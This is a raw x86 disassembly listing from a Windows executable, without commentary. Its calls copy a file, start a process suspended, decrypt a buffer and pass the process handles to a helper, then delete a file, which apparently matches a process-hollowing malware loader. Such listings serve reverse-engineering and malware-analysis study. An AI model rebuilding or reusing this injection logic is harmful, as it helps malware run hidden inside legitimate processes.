call fcn.00405537
add esp, 4
xor edx, edx
mov dword [ebp - 0x268], 7
mov dword [ebp - 0x26c], edi
mov word [ebp - 0x27c], dx
cmp dword [ebp - 0x24c], ebx
jb 0x404c89
mov eax, dword [ebp - 0x260]
push eax
call fcn.00405537
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x24c], 7
mov dword [ebp - 0x250], edi
mov word [ebp - 0x260], cx
cmp esi, edi
je 0x404caf
push esi
call fcn.00405537
add esp, 4
cmp dword [ebp - 0x284], ebx
jb 0x404cc6
mov edx, dword [ebp - 0x298]
push edx
call fcn.00405537
add esp, 4
mov dword [ebp - 0x284], 7
mov dword [ebp - 0x288], edi
jmp 0x405184
cmp dword [ebp - 0x230], ebx
jb 0x404cf2
mov edx, dword [ebp - 0x244]
push edx
call fcn.00405537
add esp, 4
xor eax, eax
mov dword [ebp - 0x230], 7
mov dword [ebp - 0x234], edi
mov word [ebp - 0x244], ax
cmp dword [ebp - 0x268], ebx
jb 0x405056
mov ecx, dword [ebp - 0x27c]
push ecx
call fcn.00405537
add esp, 4
jmp 0x405056
mov byte [ebp - 0x2d4], 0
mov edx, dword [ebp - 0x2d4]
push edx
lea eax, [ebp - 0x260]
push 0x4260b0
push eax
call fcn.00402c00
add esp, 0xc
test al, al
je 0x4051b9
push 1
xor ecx, ecx
push 0xffffffffffffffff
mov word [ebp - 0x244], cx
push 0x40c25c
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x230], 7
mov dword [ebp - 0x234], edi
call fcn.004019f0
dec eax
push eax
push 1
lea edx, [ebp - 0x2d0]
push edx
lea ecx, [ebp - 0x260]
call fcn.004026a0
push eax
lea ecx, [ebp - 0x244]
call fcn.004026e0
cmp dword [ebp - 0x2bc], 8
jb 0x404dbc
mov eax, dword [ebp - 0x2d0]
push eax
call fcn.00405537
add esp, 4
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405037
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.004064a3
add esp, 4
push 0
lea edx, [ebp - 0x2d4]
push edx
push edi
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x230], 8
mov eax, dword [ebp - 0x244]
jae 0x404e28
lea eax, [ebp - 0x244]
push 0
push 0x8000000
push 3
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405037
push 0
lea eax, [ebp - 0x2d4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
push 1
mov word [ebp - 0x27c], cx
push 0x40c25c
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x268], 7
mov dword [ebp - 0x26c], 0
call fcn.004024f0
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
xor ebx, ebx
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404ea0
sub eax, edx
sar eax, 1
push eax
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x27c]
call fcn.00402310
push 2
push 0x40c254
lea ecx, [ebp - 0x27c]
call fcn.00402310
lea eax, [ebp - 0x2d0]
push 0x4260e8
push eax
call fcn.00402890
add esp, 8
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x27c]
call fcn.00402200
mov esi, 8
cmp dword [ebp - 0x2bc], esi
jb 0x404f13
mov ecx, dword [ebp - 0x2d0]
push ecx
call fcn.00405537
add esp, 4
mov ecx, dword [ebp - 0x27c]
cmp dword [ebp - 0x268], esi
jae 0x404f27
lea ecx, [ebp - 0x27c]
mov eax, dword [ebp - 0x244]
cmp dword [ebp - 0x230], esi
jae 0x404f3b
lea eax, [ebp - 0x244]
lea edx, [ebp - 0x2e8]
push edx
lea edx, [ebp - 0x32c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp dword [ebp - 0x268], esi
jb 0x404f6e
mov eax, dword [ebp - 0x27c]
push eax
call fcn.00405537
add esp, 4
xor ecx, ecx
mov edi, 7
mov dword [ebp - 0x268], edi
mov dword [ebp - 0x26c], ebx
mov word [ebp - 0x27c], cx
cmp dword [ebp - 0x230], esi
jb 0x404f9f
mov edx, dword [ebp - 0x244]
push edx
call fcn.00405537
add esp, 4
xor eax, eax
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x234], ebx
mov word [ebp - 0x244], ax
cmp dword [ebp - 0x24c], esi
jb 0x404fcb
mov ecx, dword [ebp - 0x260]
push ecx
call fcn.00405537
add esp, 4
mov eax, dword [ebp - 0x21c]
xor edx, edx
mov dword [ebp - 0x24c], edi
mov dword [ebp - 0x250], ebx
mov word [ebp - 0x260], dx
cmp eax, ebx
je 0x404ff3
push eax
call fcn.00405537
add esp, 4
cmp dword [ebp - 0x284], esi
jb 0x40500a
mov eax, dword [ebp - 0x298]
push eax
call fcn.00405537
add esp, 4
xor ecx, ecx
mov dword [ebp - 0x284], edi
mov dword [ebp - 0x288], ebx
mov word [ebp - 0x298], cx
cmp dword [ebp - 0x2a0], esi
jb 0x4051a4
mov edx, dword [ebp - 0x2b4]
push edx
jmp 0x40519c
cmp dword [ebp - 0x230], 8
jb 0x40504f
mov eax, dword [ebp - 0x244]
push eax
call fcn.00405537
add esp, 4
mov ebx, 8
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea esp, [esp]
mov ecx, dword [ebp - 0x298]
cmp dword [ebp - 0x284], ebx
jae 0x405074
lea ecx, [ebp - 0x298]
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x2a0], ebx
jae 0x405088
lea eax, [ebp - 0x2b4]
lea edx, [ebp - 0x2e8]
push edx
lea edx, [ebp - 0x32c]
push edx
push edi
push edi
push 4
push edi
push edi
push edi
push ecx
push eax
call esi
test eax, eax
je 0x405060
mov esi, dword [ebp - 0x218]
mov edi, dword [ebp - 0x21c]
sub esi, edi
push esi
call fcn.004064a3
add esp, 4
push esi
push 0x20
push esi
push 0x426058
push edi
mov ebx, eax
call fcn.00401580
add esp, 0x10
push eax
push ebx
call fcn.00405550
mov edx, dword [ebp - 0x2e4]
push ecx
mov ecx, dword [ebp - 0x2e8]
mov eax, esp
mov dword [eax], ecx
mov ecx, dword [ebp - 0x2e0]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x2dc]
mov dword [eax + 8], ecx
sub esp, 0x44
mov edi, esp
mov dword [eax + 0xc], edx
mov ecx, 0x11
lea esi, [ebp - 0x32c]
push ebx
rep movsd dword es:[edi], dword [esi]
call fcn.004017a0
cmp dword [ebp - 0x24c], 8
jb 0x40512d
mov eax, dword [ebp - 0x260]
push eax
call fcn.00405537
add esp, 4
mov eax, dword [ebp - 0x21c]
xor esi, esi
xor ecx, ecx
mov edi, 7
mov dword [ebp - 0x24c], edi
mov dword [ebp - 0x250], esi
mov word [ebp - 0x260], cx
cmp eax, esi
je 0x40515c
push eax
call fcn.00405537
add esp, 4
mov ebx, 8
cmp dword [ebp - 0x284], ebx
jb 0x405178
mov edx, dword [ebp - 0x298]
push edx
call fcn.00405537
add esp, 4
mov dword [ebp - 0x284], edi
mov dword [ebp - 0x288], esi
xor eax, eax
mov word [ebp - 0x298], ax
cmp dword [ebp - 0x2a0], ebx
jb 0x4051a4
mov ecx, dword [ebp - 0x2b4]
push ecx
call fcn.00405537
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00406291
mov esp, ebp
pop ebp
ret 0x10
mov byte [ebp - 0x2d4], 0
mov ecx, dword [ebp - 0x2d4]
push ecx
lea edx, [ebp - 0x260]
push 0x4260e8
push edx
call fcn.00402c00
add esp, 0xc
test al, al
je 0x40504f
push 1
push 0xffffffffffffffff
xor eax, eax
push 0x40c25c
lea ecx, [ebp - 0x260]
mov dword [ebp - 0x268], 7
mov dword [ebp - 0x26c], edi
mov word [ebp - 0x27c], ax
call fcn.004019f0
dec eax
push eax
push 1
lea ecx, [ebp - 0x2d0]
push ecx
lea ecx, [ebp - 0x260]
call fcn.004026a0
push eax
lea ecx, [ebp - 0x27c]
call fcn.004026e0
mov ebx, 8
cmp dword [ebp - 0x2bc], ebx
jb 0x40524e
mov edx, dword [ebp - 0x2d0]
push edx
call fcn.00405537
add esp, 4
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x268], ebx
jae 0x405262
lea eax, [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x2d0]
push 0x426120
push eax
call fcn.00402890
add esp, 8
push 0xffffffffffffffff
push edi
push eax
lea ecx, [ebp - 0x298]
call fcn.00402200
cmp dword [ebp - 0x2bc], ebx
jb 0x4052a3
mov ecx, dword [ebp - 0x2d0]
push ecx
call fcn.00405537
add esp, 4
cmp dword [ebp - 0x268], ebx
jb 0x40504f
mov edx, dword [ebp - 0x27c]
push edx
call fcn.00405537
add esp, 4
jmp 0x405056